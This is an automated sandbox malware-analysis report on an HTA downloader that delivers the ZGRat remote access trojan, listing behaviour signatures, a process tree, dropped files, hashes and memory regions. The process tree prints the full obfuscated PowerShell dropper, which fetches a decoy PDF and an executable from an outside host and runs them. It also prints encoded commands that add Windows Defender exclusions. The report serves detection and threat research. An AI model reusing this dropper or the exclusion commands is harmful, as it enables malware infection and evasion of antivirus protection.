Analysis

  • max time kernel
    156s
  • max time network
    174s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-01-2024 20:19

General

  • Target

    magic.poisontoolz.com/fox.hta

  • Size

    13KB

  • MD5

    2d4c16415e96b123166fb5791f589a74

  • SHA1

    c7d04a986c3382cddb58b17f06dd372c66100e6c

  • SHA256

    87c90c1f78c42da7be295cbd0ae9523d975753f65e0e8e7ef5f63ee38da43454

  • SHA512

    7091e2fa62697a038e7ab8a80298df6922d54e8cd1a9f51d22c33e02d3fafbdaad312645eede17c6d7c5177bec4cae97a3c40aeb7b619d8dcc4b59f09d312012

  • SSDEEP

    384:9FQ1lDQfQnqQ1yySMyEFo08QkuVTHTAWX4HRXz6:/Q1lDQfQnqQ1yySMyEFo08QkuVTHTAWB

Malware Config

Signatures

  • Detect ZGRat V1 34 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\magic.poisontoolz.com\fox.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1748
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function hPhLUO($gYYfVUqro, $TDHCoMacW){[IO.File]::WriteAllBytes($gYYfVUqro, $TDHCoMacW)};function OuyjBhDPrdGwPbLI($gYYfVUqro){if($gYYfVUqro.EndsWith((bGYiXoWxyxIAMYfHnL @(38778,38832,38840,38840))) -eq $True){rundll32.exe $gYYfVUqro }elseif($gYYfVUqro.EndsWith((bGYiXoWxyxIAMYfHnL @(38778,38844,38847,38781))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $gYYfVUqro}elseif($gYYfVUqro.EndsWith((bGYiXoWxyxIAMYfHnL @(38778,38841,38847,38837))) -eq $True){misexec /qn /i $gYYfVUqro}else{Start-Process $gYYfVUqro}};function wZPwXqcGcNksDcvtMGB($uyaYBkDZCCSyzJDelsei){$iFRLJMGtgESMZFs = New-Object (bGYiXoWxyxIAMYfHnL @(38810,38833,38848,38778,38819,38833,38830,38799,38840,38837,38833,38842,38848));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$TDHCoMacW = $iFRLJMGtgESMZFs.DownloadData($uyaYBkDZCCSyzJDelsei);return $TDHCoMacW};function bGYiXoWxyxIAMYfHnL($NWBOMT){$RZDKPliAxJ=38732;$BhXTohPOo=$Null;foreach($eKsxkGZtQqIkdSPR in $NWBOMT){$BhXTohPOo+=[char]($eKsxkGZtQqIkdSPR-$RZDKPliAxJ)};return $BhXTohPOo};function gNBuaXtjuReBmDfHma(){$hIYbSEpsSJoZXPH = $env:AppData + '\';$YQPfBhOhZMdWRyHeqKPdf = $hIYbSEpsSJoZXPH + 'RIB.pdf';If(Test-Path -Path $YQPfBhOhZMdWRyHeqKPdf){Invoke-Item $YQPfBhOhZMdWRyHeqKPdf;}Else{ $arPZzcSlEyncTeAIE = wZPwXqcGcNksDcvtMGB (bGYiXoWxyxIAMYfHnL @(38836,38848,38848,38844,38847,38790,38779,38779,38841,38829,38835,38837,38831,38778,38844,38843,38837,38847,38843,38842,38848,38843,38843,38840,38854,38778,38831,38843,38841,38779,38814,38805,38798,38778,38844,38832,38834));hPhLUO $YQPfBhOhZMdWRyHeqKPdf $arPZzcSlEyncTeAIE;Invoke-Item $YQPfBhOhZMdWRyHeqKPdf;};$RYunDk = $hIYbSEpsSJoZXPH + 'yagacrypt.exe'; if (Test-Path -Path $RYunDk){OuyjBhDPrdGwPbLI $RYunDk;}Else{ $ehQGZXVzn = wZPwXqcGcNksDcvtMGB (bGYiXoWxyxIAMYfHnL @(38836,38848,38848,38844,38847,38790,38779,38779,38841,38829,38835,38837,38831,38778,38844,38843,38837,38847,38843,38842,38848,38843,38843,38840,38854,38778,38831,38843,38841,38779,38853,38829,38835,38829,38831,38846,38853,38844,38848,38778,38833,38852,38833));hPhLUO $RYunDk $ehQGZXVzn;OuyjBhDPrdGwPbLI $RYunDk;};;;;}gNBuaXtjuReBmDfHma;
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1868
      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\RIB.pdf"
        3⤵
        • Checks processor information in registry
        • Modifies Internet Explorer settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2996
        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2116
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=0C7AA00897205B0621305857D4844299 --mojo-platform-channel-handle=1720 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
            5⤵
              PID:692
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=4E8D65E53F52C2E793C436F7B299ADBD --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=4E8D65E53F52C2E793C436F7B299ADBD --renderer-client-id=2 --mojo-platform-channel-handle=1792 --allow-no-sandbox-job /prefetch:1
              5⤵
                PID:3208
              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=3FDE9A082A75A0F1B85D6E2E64451CD6 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=3FDE9A082A75A0F1B85D6E2E64451CD6 --renderer-client-id=4 --mojo-platform-channel-handle=2284 --allow-no-sandbox-job /prefetch:1
                5⤵
                  PID:3448
                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=52B0186A564DE3CD6194553D4ACAB064 --mojo-platform-channel-handle=2548 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                  5⤵
                    PID:2128
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=73AC7C45C0CF6A5E20EAE9DA9193AB63 --mojo-platform-channel-handle=1776 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                    5⤵
                      PID:2060
                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=3261FE8E9A19406519F4ABADEEF0918A --mojo-platform-channel-handle=2596 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                      5⤵
                        PID:4584
                  • C:\Users\Admin\AppData\Roaming\yagacrypt.exe
                    "C:\Users\Admin\AppData\Roaming\yagacrypt.exe"
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4080
                    • C:\Users\Admin\AppData\Roaming\yagacrypt.exe
                      C:\Users\Admin\AppData\Roaming\yagacrypt.exe
                      4⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:556
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABMAGUAZwBhAGwAQgBsAG8AYwBrAFMAaQB6AGUAcwAuAGUAeABlADsA
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:392
              • C:\Users\Admin\AppData\Local\IsInvalid\qlbpjel\LegalBlockSizes.exe
                C:\Users\Admin\AppData\Local\IsInvalid\qlbpjel\LegalBlockSizes.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3152
                • C:\Users\Admin\AppData\Local\IsInvalid\qlbpjel\LegalBlockSizes.exe
                  C:\Users\Admin\AppData\Local\IsInvalid\qlbpjel\LegalBlockSizes.exe
                  2⤵
                  • Executes dropped EXE
                  PID:3648
                • C:\Users\Admin\AppData\Local\IsInvalid\qlbpjel\LegalBlockSizes.exe
                  C:\Users\Admin\AppData\Local\IsInvalid\qlbpjel\LegalBlockSizes.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1592
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                    3⤵
                    • Suspicious use of SetThreadContext
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1092
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                      4⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1708
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABMAGUAZwBhAGwAQgBsAG8AYwBrAFMAaQB6AGUAcwAuAGUAeABlADsA
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2784
              • C:\Users\Admin\AppData\Local\Temp\ggiac.exe
                C:\Users\Admin\AppData\Local\Temp\ggiac.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                PID:3416
                • C:\Users\Admin\AppData\Local\Temp\ggiac.exe
                  C:\Users\Admin\AppData\Local\Temp\ggiac.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3460

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                Filesize

                36KB

                MD5

                b30d3becc8731792523d599d949e63f5

                SHA1

                19350257e42d7aee17fb3bf139a9d3adb330fad4

                SHA256

                b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

                SHA512

                523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

              • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                Filesize

                56KB

                MD5

                752a1f26b18748311b691c7d8fc20633

                SHA1

                c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

                SHA256

                111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

                SHA512

                a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

              • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                MD5

                d41d8cd98f00b204e9800998ecf8427e

                SHA1

                da39a3ee5e6b4b0d3255bfef95601890afd80709

                SHA256

                e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                SHA512

                cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

              • C:\Users\Admin\AppData\Local\IsInvalid\qlbpjel\LegalBlockSizes.exe

                Filesize

                16KB

                MD5

                d9978a7bc703072527518ec65490fabb

                SHA1

                4cfc423812a29a857dd4d7db38bb648be228df30

                SHA256

                edfc6d7d35c07e5cd1f9fa65b8c4861adaa39ef7091fe14c51b87a1d4932e5e5

                SHA512

                c3f248557d1c35f1d7ec5a96fbf784e52110fecaefcb82001426b996b58e43154e57c37484b3be974efac8e7b494d69a755808910af3e10fd82edc15a0ee6222

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                2KB

                MD5

                d85ba6ff808d9e5444a4b369f5bc2730

                SHA1

                31aa9d96590fff6981b315e0b391b575e4c0804a

                SHA256

                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                SHA512

                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\yagacrypt.exe.log

                Filesize

                1KB

                MD5

                c3941d9fa38f1717d5cecd7a2ca71667

                SHA1

                33b5362675383b58b4166ed9f9a61e5aa6768d2e

                SHA256

                f1ed6ff1cd3df219061e32df1c75d6f48de6484cf50e5ea7d86cd8bcfcb93256

                SHA512

                98f103ef97d32bf8c0566a6f6da5cf8d58d18f698c1b3e5bd0be0ea8462f5fe54c2e5e6b5188f2b7d8f70082ffd6745b1f7f6cab95af474e2b7eaed50a9d9c45

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                18KB

                MD5

                569124b0982577268dcbc9070e76fea0

                SHA1

                149910730a6bc3a691d8df4dafb3cc12fd625496

                SHA256

                b3f8175d4f6cb09f6d2f912e1bf6d31caeaa5aa16abb84831051c883f16e7ec1

                SHA512

                fb34ef6fc5f61a16112e1fb1223f07a9d309e7871638d8792435e56ca4a8201b953d51047d264505bdd420898602d96419380f0ad0b68ae474c0b4a583ffaf95

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                944B

                MD5

                9b80cd7a712469a4c45fec564313d9eb

                SHA1

                6125c01bc10d204ca36ad1110afe714678655f2d

                SHA256

                5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

                SHA512

                ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

              • C:\Users\Admin\AppData\Local\Temp\Data\Downloads.txt

                Filesize

                234B

                MD5

                ae0f7fab163139c661e576fe0af08651

                SHA1

                7545ab94360fd93f2209021b4cecabb92592be27

                SHA256

                832ff6318e2c78ac1907c74f3911f8815b545c16449cbce6753e21fb723cb657

                SHA512

                a3e342a3c72c079db96a8d6bb108830c3a772b926be0cf4e5d09ebb09e1babbc7602959bf1f82c8df8764f45479f318c3205114f23c96fd663efa792cff86b8b

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0naqnljo.j0i.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Local\Temp\ggiac.exe

                Filesize

                86KB

                MD5

                f3ed43acd7d035e8c6035c7d65ec60bf

                SHA1

                679c01b051cbd42b740a05f0cd2807b16bae5aec

                SHA256

                136f29247b40b1cd3e65d093fd0529d6115ade980092b6a950d461b5c046daef

                SHA512

                fc5b4dd5abc2e8e141b25ed4bd77509a0af1ce24b695e44b563ad93192f74c0dd147e4eb0e9da7052459b4dec975d6c99d842f77dc4e002a3631dc27a9ff4db5

              • C:\Users\Admin\AppData\Roaming\RIB.pdf

                Filesize

                19KB

                MD5

                ac6f4727f46bff3bd3f71550ae96c15f

                SHA1

                5966b42c1989bf6886c887a29480bd8a249476ee

                SHA256

                580b5d3ab9575c944f5f15f42fe82a5024411a68f759ee7137e0403ac2b568e0

                SHA512

                734a98dd5dad4674bd56b6138a94580be819c77ec3945901053b6c9f9a8bd34f4975f3a71b363ca257bfe0187cebe52bbb65fc262cb59f923396f5c2cebe737a

              • C:\Users\Admin\AppData\Roaming\yagacrypt.exe

                Filesize

                56KB

                MD5

                0abd42634db4f4fb3bbbcaa066413d68

                SHA1

                074f62ae3b24d775f09e98e81e857e6f1be05f3b

                SHA256

                a2ac7be629121924985b42fdf34380efe12be78a3d8665b625a2eae80808cff4

                SHA512

                578ef89e668c8e38e66353f485be2b90ebf8ec21bcf0f5de0ec65ee0710b55256876f28219e540beaf2dea41224c51355dc9a39930cfa3b231b3450264ac47d2

              • C:\Users\Admin\AppData\Roaming\yagacrypt.exe

                Filesize

                54KB

                MD5

                d9c253eaa73b4a33b91def3e863d644e

                SHA1

                626c26f275e691183fa48b68daf586e24960cc3e

                SHA256

                45474eaa30615f25da4e0f31447222de844cfea4375eaff3a6d9adf19101e654

                SHA512

                5041ca9cce11cc44a11525eac5944a5fd21652b53794f4c2eb656f33d7d2e8cf2bd7ee25304a829578e57869b77d36c624059108ab8f018ef85ab673efc391c7

              • C:\Users\Admin\AppData\Roaming\yagacrypt.exe

                Filesize

                6KB

                MD5

                220f7a6283256dfda65a5879cb7d8afc

                SHA1

                b640bc6f963b8cdc8104fb8f99ca7b3a34a510b0

                SHA256

                bac0966abfbc560de0f8802564fc5bc95e8492f838b394404641183a27c30b37

                SHA512

                e7e88895d26431f84c71b69c27b2549f7ecc5b2e473c3dc3c4f3bf52439d98d6e01e3640d142b8d0fe0a3e9da1b1efcd8b6a3233d86848ad53787e6c73014f89

              • memory/392-3358-0x000001AA3D780000-0x000001AA3D7A2000-memory.dmp

                Filesize

                136KB

              • memory/392-3368-0x00007FFCA0130000-0x00007FFCA0BF1000-memory.dmp

                Filesize

                10.8MB

              • memory/392-3369-0x000001AA229D0000-0x000001AA229E0000-memory.dmp

                Filesize

                64KB

              • memory/392-3373-0x00007FFCA0130000-0x00007FFCA0BF1000-memory.dmp

                Filesize

                10.8MB

              • memory/556-3349-0x0000000004F80000-0x0000000004FD6000-memory.dmp

                Filesize

                344KB

              • memory/556-3355-0x0000000005650000-0x00000000056A4000-memory.dmp

                Filesize

                336KB

              • memory/556-1113-0x0000000071570000-0x0000000071D20000-memory.dmp

                Filesize

                7.7MB

              • memory/556-1115-0x0000000004E00000-0x0000000004EE8000-memory.dmp

                Filesize

                928KB

              • memory/556-1114-0x0000000002980000-0x0000000002990000-memory.dmp

                Filesize

                64KB

              • memory/556-1111-0x0000000000400000-0x000000000049C000-memory.dmp

                Filesize

                624KB

              • memory/556-3357-0x0000000071570000-0x0000000071D20000-memory.dmp

                Filesize

                7.7MB

              • memory/1092-6584-0x0000000071660000-0x0000000071E10000-memory.dmp

                Filesize

                7.7MB

              • memory/1092-6585-0x0000000005240000-0x0000000005250000-memory.dmp

                Filesize

                64KB

              • memory/1092-7534-0x0000000005B40000-0x0000000005B41000-memory.dmp

                Filesize

                4KB

              • memory/1092-7550-0x0000000071660000-0x0000000071E10000-memory.dmp

                Filesize

                7.7MB

              • memory/1092-7545-0x0000000005240000-0x0000000005250000-memory.dmp

                Filesize

                64KB

